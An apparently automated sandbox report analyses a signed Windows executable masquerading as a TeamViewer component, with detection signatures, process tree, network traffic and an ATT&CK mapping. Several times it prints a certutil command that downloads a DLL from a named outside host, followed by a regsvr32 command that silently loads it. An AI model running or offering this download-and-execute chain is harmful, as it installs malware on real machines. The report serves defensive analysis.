Play interactive tour

Edit tour

Windows Analysis Report cBQPecnQRp

Overview

General Information

Sample Name:	cBQPecnQRp (renamed file extension from none to exe)
Analysis ID:	483791
MD5:	53817315b195e328ccc0f56b15b247c7
SHA1:	7bedab96b89d000288b573de0b5693cf49dae47f
SHA256:	ea2decec34ae3129d5da1f2035b34cff3c9f656bb4423904ef6b0a3ca5f47d5e
Tags:	exeHartexLLCsigned
Infos:
Most interesting Screenshot:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	47
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for domain / URL

Sigma detected: Regsvr32 Anomaly

Sigma detected: Suspicious Certutil Command

Uses 32bit PE files

Uses a Windows Living Off The Land Binaries (LOL bins)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Abnormal high CPU Usage

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Registers a DLL

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

cBQPecnQRp.exe (PID: 5760 cmdline: 'C:\Users\user\Desktop\cBQPecnQRp.exe' MD5: 53817315B195E328CCC0F56B15B247C7)

cmd.exe (PID: 6152 cmdline: C:\Windows\System32\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

certutil.exe (PID: 4528 cmdline: certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll' MD5: D056DF596F6E02A36841E69872AEF7BD)

regsvr32.exe (PID: 5340 cmdline: regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll' MD5: 426E7499F6A7346F0410DEAD0805586B)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Regsvr32 Anomaly

Show sources

Source: Process started

Author: Florian Roth, oscd.community: Data: Command: regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll', CommandLine: regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll', CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: C:\Windows\System32\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6152, ProcessCommandLine: regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll', ProcessId: 5340

Sigma detected: Suspicious Certutil Command

Show sources

Source: Process started

Author: Florian Roth, juju4, keepwatch: Data: Command: certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll', CommandLine: certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll', CommandLine|base64offset|contains: q!, Image: C:\Windows\SysWOW64\certutil.exe, NewProcessName: C:\Windows\SysWOW64\certutil.exe, OriginalFileName: C:\Windows\SysWOW64\certutil.exe, ParentCommandLine: C:\Windows\System32\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6152, ProcessCommandLine: certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll', ProcessId: 4528

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: cBQPecnQRp.exe

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for domain / URL

Show sources

Source: https://www.christchurchmvl.org/volunteer/actXApiLib.dll

Virustotal: Detection: 11%

Perma Link

Compliance:

Uses 32bit PE files

Show sources

Source: cBQPecnQRp.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown	HTTPS traffic detected: 100.26.95.170:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 100.26.95.170:443 -> 192.168.2.4:49773 version: TLS 1.2

PE / OLE file has a valid certificate

Show sources

Source: cBQPecnQRp.exe

Static PE information: certificate valid

Binary contains paths to debug symbols

Show sources

Source:	Binary string: E:\JA\workspace\tv_publicrelease-windows\build_cmake_win\Release\TeamViewer_Note.pdb source: cBQPecnQRp.exe
Source:	Binary string: E:\JA\workspace\tv_publicrelease-windows\build_cmake_win\Release\TeamViewer_Note.pdb) source: cBQPecnQRp.exe

Spreading:

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_00466410 FindFirstFileExW,

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\certutil.exe	Network Connect: 100.26.95.170 187
Source: C:\Windows\SysWOW64\certutil.exe	Domain query: www.christchurchmvl.org

Source: Joe Sandbox View

ASN Name: AMAZON-AESUS AMAZON-AESUS

Source: Joe Sandbox View	JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 15 Sep 2021 11:47:29 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1

Source: cBQPecnQRp.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: cBQPecnQRp.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: cBQPecnQRp.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: cBQPecnQRp.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: cBQPecnQRp.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: cBQPecnQRp.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: cBQPecnQRp.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: cBQPecnQRp.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: cBQPecnQRp.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: cBQPecnQRp.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: cBQPecnQRp.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: certutil.exe, 0000000A.00000002.776165001.0000000000550000.00000004.00000020.sdmp	String found in binary or memory: https://www.christchurchmvl.org/volunteer/actXApiLib.dll
Source: certutil.exe, 0000000A.00000002.777469638.0000000000930000.00000004.00000040.sdmp	String found in binary or memory: https://www.christchurchmvl.org/volunteer/actXApiLib.dllC:
Source: cBQPecnQRp.exe	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown

DNS traffic detected: queries for: www.christchurchmvl.org

Source: global traffic	HTTP traffic detected: GET /volunteer/actXApiLib.dll HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: www.christchurchmvl.org
Source: global traffic	HTTP traffic detected: GET /volunteer/actXApiLib.dll HTTP/1.1Accept: /User-Agent: CertUtil URL AgentHost: www.christchurchmvl.orgCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 100.26.95.170:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 100.26.95.170:443 -> 192.168.2.4:49773 version: TLS 1.2

System Summary:

Source: cBQPecnQRp.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll'

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004340B0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00432A00
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0049C051
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0046207C
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004520EB
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00402080
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004961AB
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004321AB
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00402210
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004443F0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0048C4C0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004744D0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0049E4E7
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004024F2
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004685D0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00484580
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004025A0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0048E620
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00402700
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0045A7C0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00484790
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00402850
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00424970
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004029E0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00402B70
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00464CC9
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00402CF0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00402E70
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0048CFC0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0049901A
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0045B2E0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004773C0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00401390
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00433450
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004454F0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0046B48F
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004514A0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004014B0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0045154D
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00433569
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004755F0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0046B5AF
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00401610
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00493680
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00401760
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0048D7F0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004337A0
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00499809
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004518BF
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0048B9A0

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: String function: 00421740 appears 48 times
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: String function: 0044FEB0 appears 40 times
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: String function: 0044F762 appears 75 times
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: String function: 00420FA0 appears 63 times
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: String function: 0044F26F appears 71 times

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_0044E3F5 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Process Stats: CPU usage > 98%

Source: cBQPecnQRp.exe	Binary or memory string: OriginalFilename vs cBQPecnQRp.exe
Source: cBQPecnQRp.exe, 00000001.00000002.942739189.00000000004FD000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameTeamViewer_Note.exe6 vs cBQPecnQRp.exe
Source: cBQPecnQRp.exe	Binary or memory string: OriginalFilenameTeamViewer_Note.exe6 vs cBQPecnQRp.exe

Source: cBQPecnQRp.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: actxapilib.dll

Source: cBQPecnQRp.exe

Virustotal: Detection: 10%

Source: cBQPecnQRp.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\cBQPecnQRp.exe 'C:\Users\user\Desktop\cBQPecnQRp.exe'
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll'
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll'

Source: classification engine

Classification label: mal72.evad.winEXE@8/1@2/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1368:120:WilError_01

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_00422D90 LoadResource,LockResource,SizeofResource,

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Command line argument: ~GI

Source: C:\Windows\SysWOW64\certutil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\certutil.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: cBQPecnQRp.exe

Static file information: File size 1363448 > 1048576

Source: cBQPecnQRp.exe

Static PE information: certificate valid

Source: cBQPecnQRp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: cBQPecnQRp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: cBQPecnQRp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: cBQPecnQRp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: cBQPecnQRp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: cBQPecnQRp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: cBQPecnQRp.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\JA\workspace\tv_publicrelease-windows\build_cmake_win\Release\TeamViewer_Note.pdb source: cBQPecnQRp.exe
Source:	Binary string: E:\JA\workspace\tv_publicrelease-windows\build_cmake_win\Release\TeamViewer_Note.pdb) source: cBQPecnQRp.exe

Source: cBQPecnQRp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: cBQPecnQRp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: cBQPecnQRp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: cBQPecnQRp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: cBQPecnQRp.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00434A6C push eax; ret
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00410AAA push ss; iretd
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0044F73C push ecx; ret
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00493990 push ecx; mov dword ptr [esp], ecx

Source: cBQPecnQRp.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_004A5845 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll'

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_0044E000 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Malware Analysis System Evasion:

Source: C:\Windows\SysWOW64\certutil.exe TID: 6060

Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_0044C1E6 VirtualQuery,GetSystemInfo,

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_00466410 FindFirstFileExW,

Anti Debugging:

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_0044EE91 IsDebuggerPresent,OutputDebugStringW,

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_004A5845 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_004944F0 TlsGetValue,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,TlsSetValue,GetProcessHeap,HeapFree,

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0046619E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_00434891 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0044ECD5 mov esi, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0045D9CF mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0044FE43 SetUnhandledExceptionFilter,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0045976E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_0044F8B8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\certutil.exe	Network Connect: 100.26.95.170 187
Source: C:\Windows\SysWOW64\certutil.exe	Domain query: www.christchurchmvl.org

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil.exe -urlcache -split -f 'https://www.christchurchmvl.org/volunteer/actXApiLib.dll' 'C:\ProgramData\actXApiLib.dll'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe -s -n -i 'C:\ProgramData\actXApiLib.dll'

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: GetLocaleInfoW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: GetLocaleInfoW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: EnumSystemLocalesW,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: GetLocaleInfoW,

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_0041E0FC cpuid

Source: C:\Users\user\Desktop\cBQPecnQRp.exe

Code function: 1_2_00440690 GetLocalTime,

Remote Access Functionality:

Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004A85C0 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext,
Source: C:\Users\user\Desktop\cBQPecnQRp.exe	Code function: 1_2_004A7879 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter2	DLL Side-Loading1	Process Injection111	Virtualization/Sandbox Evasion1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Application Shimming1	DLL Side-Loading1	Process Injection111	LSASS Memory	Security Software Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Application Shimming1	Deobfuscate/Decode Files or Information1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Regsvr321	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	System Information Discovery23	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
cBQPecnQRp.exe	10%	Virustotal		Browse
cBQPecnQRp.exe	2%	ReversingLabs

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
christchurchmvl.org	0%	Virustotal		Browse
www.christchurchmvl.org	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://www.christchurchmvl.org/volunteer/actXApiLib.dll	11%	Virustotal		Browse
https://www.christchurchmvl.org/volunteer/actXApiLib.dll	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
